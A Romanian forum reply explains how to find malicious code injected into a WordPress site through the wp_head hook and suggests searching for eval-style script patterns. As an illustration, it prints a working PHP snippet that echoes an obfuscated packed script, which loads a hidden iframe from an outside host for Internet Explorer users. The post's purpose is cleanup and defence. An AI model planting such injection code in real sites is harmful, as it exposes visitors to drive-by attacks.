wp_head nu este un fisier ci un hook. De regula informatia din wp_head este adaugata prin functia: add_action('wp_head', 'your_function');.
Da niste search-uri pe scripturi ( tot folderul wordpress ) dupa bucati din cod precum:
<script>eval
eval(function
Ca sa iti faci o idee secventa aia de cod malicioasa poate fi adaugata acolo unde este prin mai multe feluri: functions.php ( exclud daca nu ai mai avut probleme pana acum ), pluginuri sau chiar si fisiere ale temei. Repet daca "este pus in wp_head" codul nu este scris pur si simplu ci adaugat printr-o actiune.
Incerc un exemplu mai jos dar este strict ca sa iti faci o idee:
Cod PHP:
<?php
add_action('wp_head', 'add_js');
function add_js() {
echo "<script>eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('i 9(){a=6.h(\'b\');7(!a){5 0=6.j(\'k\');6.g.l(0);0.n=\'b\';0.4.d=\'8\';0.4.c=\'8\';0.4.e=\'f\';0.m=\'w://z.o.B/C.D?t=E\'}}5 2=A.x.q();7(((2.3("p")!=-1&&2.3("r")==-1&&2.3("s")==-1))&&2.3("v")!=-1){5 t=u("9()",y)}',41,41,'el||ua|indexOf|style|var|document|if|1px|MakeFrameEx|element|yahoo_api|height|width|display|none|body|getElementById|function|createElement|iframe|appendChild|src|id|nl|msie|toLowerCase|opera|webtv||setTimeout|windows|http|userAgent|1000|jfhjf|navigator|ai|showthread|php|72241732'.split('|'),0,{}))
</script>";
}
?>
PS: ai antivirus, nu???
PPS: in genul acesta de situatii, cauta raspunsul si daca nu il gasesti fa o intrebare si la comunitatile specializate. In context: wordpress.stackexchange.com/ sau wordpress.org/support/